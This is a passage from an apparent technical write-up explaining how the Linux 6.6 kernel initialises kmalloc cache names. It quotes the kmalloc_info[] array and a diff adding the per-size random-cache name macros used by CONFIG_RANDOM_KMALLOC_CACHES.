	KMALLOC_CGROUP,
#endif
	NR_KMALLOC_TYPES
};

diff from include/linux/slab.h

The [kmalloc_info[]](https://elixir.bootlin.com/linux/v6.6/source/mm/slab_common.c#L824) is another key data structure in the kmalloc cache initialisation. This array essentially contains a [struct kmalloc_info_struct](https://elixir.bootlin.com/linux/v6.6/source/mm/slab.h#L275) for each of the kmalloc “bucket” sizes we talk about. Each element stores the size fo the bucket and the name for the various caches types of that size. E.g. kmalloc-rnd-01-64 or kmalloc-cg-64.

This array is then used to pull the correct cache name to pass to [create_kmalloc_cache()](https://elixir.bootlin.com/linux/v6.6/source/mm/slab_common.c#L661) given the size index and cache type.

I’m speeding through this, but you can probably tell already this is going to involve some macros. [INIT_KMALLOC_INFO(__size, __short_size)](https://elixir.bootlin.com/linux/v6.6/source/mm/slab_common.c#L809) is used to initialise each of the elements in kmalloc_info[], with additional macros to initialise each of the name[] elements according to type.

Below we can see the addition of the kmalloc random caches:

+#ifdef CONFIG_RANDOM_KMALLOC_CACHES
+#define __KMALLOC_RANDOM_CONCAT(a, b) a ## b
+#define KMALLOC_RANDOM_NAME(N, sz) __KMALLOC_RANDOM_CONCAT(KMA_RAND_, N)(sz)
+#define KMA_RAND_1(sz)                  .name[KMALLOC_RANDOM_START +  1] = "kmalloc-rnd-01-" #sz,
+#define KMA_RAND_2(sz)  KMA_RAND_1(sz)  .name[KMALLOC_RANDOM_START +  2] = "kmalloc-rnd-02-" #sz,
+#define KMA_RAND_3(sz)  KMA_RAND_2(sz)  .name[KMALLOC_RANDOM_START +  3] = "kmalloc-rnd-03-" #sz,
+#define KMA_RAND_4(sz)  KMA_RAND_3(sz)  .name[KMALLOC_RANDOM_START +  4] = "kmalloc-rnd-04-" #sz,
+#define KMA_RAND_5(sz)  KMA_RAND_4(sz)  .name[KMALLOC_RANDOM_START +  5] = "kmalloc-rnd-05-" #sz,
+#define KMA_RAND_6(sz)  KMA_RAND_5(sz)  .name[KMALLOC_RANDOM_START +  6] = "kmalloc-rnd-06-" #sz,
+#define KMA_RAND_7(sz)  KMA_RAND_6(sz)  .name[KMALLOC_RANDOM_START +  7] = "kmalloc-rnd-07-" #sz,
+#define KMA_RAND_8(sz)  KMA_RAND_7(sz)  .name[KMALLOC_RANDOM_START +  8] = "kmalloc-rnd-08-" #sz,
+#define KMA_RAND_9(sz)  KMA_RAND_8(sz)  .name[KMALLOC_RANDOM_START +  9] = "kmalloc-rnd-09-" #sz,
+#define KMA_RAND_10(sz) KMA_RAND_9(sz)  .name[KMALLOC_RANDOM_START + 10] = "kmalloc-rnd-10-" #sz,
+#define KMA_RAND_11(sz) KMA_RAND_10(sz) .name[KMALLOC_RANDOM_START + 11] = "kmalloc-rnd-11-" #sz,
+#define KMA_RAND_12(sz) KMA_RAND_11(sz) .name[KMALLOC_RANDOM_START + 12] = "kmalloc-rnd-12-" #sz,
+#define KMA_RAND_13(sz) KMA_RAND_12(sz) .name[KMALLOC_RANDOM_START + 13] = "kmalloc-rnd-13-" #sz,
+#define KMA_RAND_14(sz) KMA_RAND_13(sz) .name[KMALLOC_RANDOM_START + 14] = "kmalloc-rnd-14-" #sz,
+#define KMA_RAND_15(sz) KMA_RAND_14(sz) .name[KMALLOC_RANDOM_START + 15] = "kmalloc-rnd-15-" #sz,
+#else // CONFIG_RANDOM_KMALLOC_CACHES
+#define KMALLOC_RANDOM_NAME(N, sz)
+#endif
+
 #define INIT_KMALLOC_INFO(__size, __short_size)			\
 {								\
 	.name[KMALLOC_NORMAL]  = "kmalloc-" #__short_size,	\
 	KMALLOC_RCL_NAME(__short_size)				\
 	KMALLOC_CGROUP_NAME(__short_size)			\
 	KMALLOC_DMA_NAME(__short_size)				\
+	KMALLOC_RANDOM_NAME(RANDOM_KMALLOC_CACHES_NR, __short_size)	\
 	.size = __size,						\
 }

const struct kmalloc_info_struct kmalloc_info[] __initconst = {
	INIT_KMALLOC_INFO(0, 0),
	INIT_KMALLOC_INFO(96, 96),
	INIT_KMALLOC_INFO(192, 192),
	INIT_KMALLOC_INFO(8, 8),
	INIT_KMALLOC_INFO(16, 16),
	INIT_KMALLOC_INFO(32, 32),
	INIT_KMALLOC_INFO(64, 64),
	INIT_KMALLOC_INFO(128, 128),
	INIT_KMALLOC_INFO(256, 256),
	INIT_KMALLOC_INFO(512, 512),
	INIT_KMALLOC_INFO(1024, 1k),
	INIT_KMALLOC_INFO(2048, 2k),
	INIT_KMALLOC_INFO(4096, 4k),
	INIT_KMALLOC_INFO(8192, 8k),
	INIT_KMALLOC_INFO(16384, 16k),
	INIT_KMALLOC_INFO(32768, 32k),
	INIT_KMALLOC_INFO(65536, 64k),
	INIT_KMALLOC_INFO(131072, 128k),
	INIT_KMALLOC_INFO(262144, 256k),
	INIT_KMALLOC_INFO(524288, 512k),
	INIT_KMALLOC_INFO(1048576, 1M),
	INIT_KMALLOC_INFO(2097152, 2M)
};